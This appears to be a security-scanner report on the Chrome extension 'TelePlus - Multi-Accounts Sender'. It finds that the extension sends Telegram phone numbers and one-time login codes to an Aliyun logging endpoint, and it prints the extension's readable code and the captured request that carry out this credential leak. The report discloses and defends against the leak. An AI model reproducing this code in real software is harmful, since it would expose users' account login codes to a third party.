Is TelePlus - Multi-Accounts Sender safe?

Critical risk

TelePlus - Multi-Accounts Sender is critical risk. Submitting the Telegram login code makes the extension build telemetry event 0104 with the phone number and one-time code, sent via the bundled Aliyun SLS client to extension-us.us-west-1.log.aliyuncs.com before sign-in completes.

tgmultisendergroupv3.3.1Chrome Web Store
94Risk
Who publishes it

tgmultisendergroup - 1 other listing from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
tgmultisendergroup

Same store account

1 other listing published from this account, 1k+ users between them, none of them carrying a finding.

Email Extractor & Finder1k+Clean

Shared hosts - 2 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

waputech.com
Also called by 1 other listing: Telegram Sender
teleplus.io
Also called by 6 other listings, including Telegram Sender, Telegram Group and Channel Search Tool

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Telegram login codes sent to Aliyun during popup login

Submitting the Telegram login code makes the extension build telemetry event 0104 with the phone number and one-time code, sent via the bundled Aliyun SLS client to extension-us.us-west-1.log.aliyuncs.com before sign-in completes.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You submit the Telegram login form in the extension popup.

The form contains the phone number and one-time code used for the Telegram sign-in attempt.

The extension did this

The extension sends those login values into its telemetry pipeline before the sign-in finishes.

The login method calls telemetry event 0104 with both the phone number and code before validating empty fields or calling Telegram sign-in.

Fields copied into telemetry event 0104
  • Telegram phone number
    +1 415 555 0138 (illustrative)

    This can identify the Telegram account you are trying to add through the extension.

  • One-time login code
    58219 (illustrative)

    This is the temporary code you enter to complete the Telegram login flow.

  • Extension UUID
    8d7c2a41-6f2e-4c19-9a5b-3e0f64b812a7 (illustrative)

    This lets telemetry records from the same browser installation be linked together.

  • Browser and device context
    Chrome on Linux, en-US, version 3.3.1 (illustrative)

    This adds context about the browser, platform, language, extension version, install time, and plan.

Captured request
POSThttps://extension-us.us-west-1.log.aliyuncs.com/logstores/scrm-tg-multi-sender/track
Headers
Content-Type
application/x-protobuf
x-log-apiversion
0.6.0
The code that does this

The login method and telemetry client that move the code into Aliyun SLS

Readable version

Readable login method sends event 0104 before Telegram sign-in

popup.js
async login() {  if (Object(l["c"])("0104", {      phone_number: this.full_phone_number,      phone_code: this.phone_code    }), "" == this.full_phone_number || "" == this.phone_code) return this.login_fail_msg = this.api_verify_fail_tip5, void(this.resultDialogVisible = !0);  if ("pro" != this.plan_code && this.accounts.length >= l["j"][this.plan_code]) return void this.$emit("openUpgradeDialog", this.api_verify_fail_tip10);  let e = this;  this.logging = !0;  try {    null == this.client && await this.initClient(this.full_phone_number);    var t = await this.client.signInUser({      apiId: this.api_id,      apiHash: this.api_hash    }, {      phoneNumber: e.full_phone_number,      phoneCode: this.codeCallback,      onError: t => (console.log(t), t.message.indexOf("PHONE_CODE_INVALID") && (e.login_status = 2, e.login_fail_msg = this.api_verify_fail_tip2), !0)    });    void 0 != t.className ? (this.login_status = 1, this.login_fail_msg = this.api_verify_success_tip1) : this.login_status = 2, this.logging = !1  } catch (s) {    if (console.log(s), s.message.indexOf("2FA") >= 0) return void(this.passwordDialogVisible = !0);    s.message.indexOf("PHONE_CODE_INVALID") ? (this.login_status = 2, this.login_fail_msg = this.api_verify_fail_tip2, this.logging = !1) : s.message.indexOf("PHONE_CODE_EXPIRED") ? (this.login_status = 2, this.login_fail_msg = this.api_verify_fail_tip8, this.logging = !1) : s.message.indexOf("SIGN_IN_FAILED") ? (this.login_status = 2, this.login_fail_msg = this.api_verify_fail_tip9, this.logging = !1) : s.message.indexOf("Connection to telegram") ? (this.login_status = 2, this.login_fail_msg = this.api_verify_fail_tip12, this.logging = !1) : this.login_fail_msg = s  }  1 == this.login_status ? (Object(l["c"])("0105", {    login: "success"  }), this.addAccount(this.full_phone_number), this.showAccountList = !0) : Object(l["c"])("0105", {    login: "fail",    error: this.login_fail_msg  }), this.client.disconnect(), this.resultDialogVisible = !this.passwordDialogVisible}

Readable telemetry helper merges caller fields into the event

popup.js
function u(e, t) {  const s = {      host: "us-west-1.log.aliyuncs.com",      project: "extension-us",      time: .05,      count: 1,      logstore: "scrm-tg-multi-sender"    },    i = new a.a(s);  chrome.storage.local.get(null, (function(s) {    let a = void 0 !== s.browserInfo ? s.browserInfo : "",      o = a ? a.userAgent : "",      n = a ? a.browser : "",      r = a ? a.platform : "",      l = a ? a.language : "",      c = void 0 !== s.installTime ? s.installTime : "",      p = void 0 !== s.uuid ? s.uuid : "",      h = chrome.runtime.getManifest().version,      g = void 0 !== s.plan_code ? s.plan_code : "",      d = {        event_source: 1,        event_type: _ + e,        event_time: Math.round(new Date / 1e3),        install_time: c,        platform: r,        user_agent: o,        browser_type: n,        uuid: p,        version: h,        language: l,        plan_code: g      };    if (t)      for (let e in t) d[e] = t[e];    i.send(d)  }))}

Readable SLS logger posts to /logstores/<logstore>/track

chunk-vendors.js
key: "logger",value: async function(e = !1) {  var t = !1 !== e && e.length > 0 ? e : [];  if (0 !== t.length) {    var i = "https://" + this.project + "." + this.host + "/logstores/" + this.logstore + "/track";    try {      var n = JSON.stringify({        __logs__: t      });      let e = new Headers({        "x-log-apiversion": "0.6.0",        "x-log-bodyrawsize": n.length      });      if (this.compress) {        e.append("x-log-compresstype", "lz4");        var r = u.from(n),          o = c.encodeBound(n.length),          s = u.alloc(o),          a = c.encodeBlock(r, s);        s = s.slice(0, a), fetch(i, {          method: "POST",          headers: e,          body: s        }).then(e => e)      } else {        let t = new Blob([n], {          type: "application/x-protobuf"        });        e.append("Content-Type", "application/x-protobuf"), fetch(i, {          method: "POST",          headers: e,          body: t        }).then(e => e)      }    } catch (l) {      console.log(l)    }  }}
External service receiving the login telemetry
    • extension-us.us-west-1.log.aliyuncs.com

    Aliyun SLS endpoint configured by the extension for telemetry project extension-us and logstore scrm-tg-multi-sender.

What it can do

Permissions this extension asks for, as declared in version 3.3.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on web.telegram.org

    https://*.web.telegram.org/* and 1 more

  • Act on the current tab, but only after you click the extension

    activeTab

  • Run its own code inside the pages you visit

    scripting

  • Store data in your browser

    storage

Updated 30 September 2026ihopneheidomphlibjllfheciogojmbk